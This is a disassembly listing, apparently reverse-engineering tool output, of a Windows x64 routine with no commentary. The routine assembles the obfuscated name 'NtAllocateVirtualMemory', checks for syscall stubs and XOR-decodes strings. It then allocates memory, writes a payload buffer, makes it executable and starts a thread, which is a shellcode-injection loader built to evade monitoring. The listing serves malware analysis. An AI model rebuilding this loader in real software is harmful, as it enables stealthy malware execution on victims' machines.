lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x265f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x2660]
mov rcx, qword [rbp + 0x2c70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x14000774b
lea rsi, [0x1400c23b4]
jmp 0x140007752
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x28cf]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x28cf]
lea rax, [rbp + 0x28a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400c23ae]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400c23fa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400c23a6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x1400c2400]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x1400c23ee]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x1400c23f8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x1400c23e8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x2680]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x28cf]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x28d0]
mov rcx, qword [rbp + 0x2c68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140007b35
lea rsi, [0x1400c23b4]
jmp 0x140007b3c
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140001ca1
mov dword [rbp + 0x2c20], 0xffffffff
cmp dword [rbp + 0x2c20], 0
jne 0x140007b8e
lea rax, [0x1400c2402]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x28f3]
lea rdx, [rbp + 0x2900]
mov rcx, rax
call fcn.140001e34
lea rax, [rbp + 0x28f3]
mov qword [rbp + 0x2c00], rax
mov rax, qword [rbp + 0x2c00]
mov qword [rbp + 0x2bf8], rax
mov rax, qword [rbp + 0x2bf8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140007c69
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c00]
mov qword [rbp + 0x2bf0], rdx
mov qword [rbp + 0x2be8], rax
mov dword [rbp + 0x2be4], 0
jmp 0x140007c5f
mov eax, dword [rbp + 0x2be4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2be8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2be4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2bf0]
mov eax, dword [rbp + 0x2be4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2be4], 1
cmp dword [rbp + 0x2be4], 0xc
jle 0x140007c00
nop
lea rax, [rbp + 0x28f3]
mov rcx, rax
call fcn.140001784
mov qword [rbp + 0x2c18], rax
cmp qword [rbp + 0x2c18], 0xffffffffffffffff
jne 0x140007c98
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2901]
lea rdx, [rbp + 0x290e]
mov rcx, rax
call fcn.140001eae
lea rax, [rbp + 0x2901]
mov qword [rbp + 0x2bd8], rax
mov rax, qword [rbp + 0x2bd8]
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x2bd0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140007d73
mov rax, qword [rbp + 0x2bd8]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp + 0x2bc8], rdx
mov qword [rbp + 0x2bc0], rax
mov dword [rbp + 0x2bbc], 0
jmp 0x140007d69
mov eax, dword [rbp + 0x2bbc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2bc0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2bbc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2bc8]
mov eax, dword [rbp + 0x2bbc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2bbc], 1
cmp dword [rbp + 0x2bbc], 0xc
jle 0x140007d0a
nop
lea rdx, [rbp + 0x2901]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x2c18]
mov r8, rcx
mov rcx, rax
call fcn.140001944
mov rax, qword [rbp + 0x10]
cmp rax, 0xffffffffffffffff
je 0x140007da4
mov rax, qword [rbp + 0x18]
cmp rax, 0xffffffffffffffff
jne 0x140007db3
mov ebx, 0
mov esi, 0
jmp 0x14000848a
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2c10], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2c08], rax
mov r10, qword [0x1400ee038]
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x2c10]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2c20], eax
cmp dword [rbp + 0x2c20], 0
je 0x140007ebc
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x290f]
mov rcx, rax
call fcn.140001f28
mov rax, qword [rbp + 0x2910]
mov rdx, qword [rbp + 0x2918]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2920]
mov rdx, qword [rbp + 0x2928]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2930]
mov rdx, qword [rbp + 0x2938]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2940]
mov rdx, qword [rbp + 0x2948]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x294c]
mov rdx, qword [rbp + 0x2954]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
mov edx, dword [rbp + 0x2c20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e6c0
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x295f]
mov rcx, rax
call fcn.14000219a
mov rax, qword [rbp + 0x2960]
mov rdx, qword [rbp + 0x2968]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2970]
mov rdx, qword [rbp + 0x2978]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2980]
mov rdx, qword [rbp + 0x2988]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rbp + 0x2998]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2999]
mov rdx, qword [rbp + 0x29a1]
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e410
mov r10, qword [0x1400ee040]
mov r9, qword [0x1400be200]
mov r8, qword [0x1400ee030]
mov rdx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x2c10]
lea rcx, [rbp + 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2c20], eax
cmp dword [rbp + 0x2c20], 0
je 0x140008039
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29af]
mov rcx, rax
call fcn.1400023f4
mov rax, qword [rbp + 0x29b0]
mov rdx, qword [rbp + 0x29b8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29c0]
mov rdx, qword [rbp + 0x29c8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x29d0]
mov rdx, qword [rbp + 0x29d8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x29e0]
mov rdx, qword [rbp + 0x29e8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x29ea]
mov rdx, qword [rbp + 0x29f2]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
mov edx, dword [rbp + 0x2c20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e4f0
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x29ff]
mov rcx, rax
call fcn.140002656
mov rax, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a10]
mov rdx, qword [rbp + 0x2a18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a20]
mov rdx, qword [rbp + 0x2a28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a30]
mov rdx, qword [rbp + 0x2a38]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a3c]
mov rdx, qword [rbp + 0x2a44]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e5e0
mov r10, qword [0x1400ee048]
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x2c10]
lea rcx, [rbp + 0x9c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x1400be200]
mov rcx, rax
call r10
mov dword [rbp + 0x2c20], eax
cmp dword [rbp + 0x2c20], 0
je 0x140008192
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a4f]
mov rcx, rax
call fcn.1400028c8
mov rax, qword [rbp + 0x2a50]
mov rdx, qword [rbp + 0x2a58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a60]
mov rdx, qword [rbp + 0x2a68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a70]
mov rdx, qword [rbp + 0x2a78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2a7f]
mov dword [rbp - 0x11], eax
mov edx, dword [rbp + 0x2c20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e070
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2a8f]
mov rcx, rax
call fcn.140002a72
mov rax, qword [rbp + 0x2a90]
mov rdx, qword [rbp + 0x2a98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2aa0]
mov rdx, qword [rbp + 0x2aa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ab0]
mov rdx, qword [rbp + 0x2ab8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2abf]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e160
mov r10, qword [0x1400ee088]
mov rax, qword [rbp + 0x90]
mov rdx, rax
mov rax, qword [rbp + 0x2c08]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2c20], eax
cmp dword [rbp + 0x2c20], 0
je 0x1400082d6
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2acf]
mov rcx, rax
call fcn.140002c3c
mov rax, qword [rbp + 0x2ad0]
mov rdx, qword [rbp + 0x2ad8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2ae0]
mov rdx, qword [rbp + 0x2ae8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2af0]
mov rdx, qword [rbp + 0x2af8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2af9]
mov rdx, qword [rbp + 0x2b01]
mov qword [rbp - 0x17], rax
mov qword [rbp - 0xf], rdx
mov edx, dword [rbp + 0x2c20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e240
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b0f]
mov rcx, rax
call fcn.140002e16
mov rax, qword [rbp + 0x2b10]
mov rdx, qword [rbp + 0x2b18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b30]
mov rdx, qword [rbp + 0x2b38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b3d]
mov rdx, qword [rbp + 0x2b45]
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e330
mov r8, qword [0x1400ee090]
mov rax, qword [rbp + 0x2c08]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2c20], eax
cmp dword [rbp + 0x2c20], 0
je 0x1400083f1
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b4f]
mov rcx, rax
call fcn.140003010
mov rax, qword [rbp + 0x2b50]
mov rdx, qword [rbp + 0x2b58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b60]
mov rdx, qword [rbp + 0x2b68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b6e]
mov rdx, qword [rbp + 0x2b76]
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
mov edx, dword [rbp + 0x2c20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001dea0
mov ebx, 0
mov esi, 0
jmp 0x14000848a
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.140003192
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2bb0]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001df90
mov rdx, qword [0x1400ee078]
mov rax, qword [rbp + 0x2c10]
mov rcx, rax
call rdx
mov rdx, qword [0x1400ee078]
mov rax, qword [rbp + 0x2c08]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a97d0
cmp esi, 1
jne 0x1400084a0
mov ebx, 0
mov eax, ebx
jmp 0x140009c3f
add rsp, 0x2d90
pop rbx
pop rsi
pop rbp
ret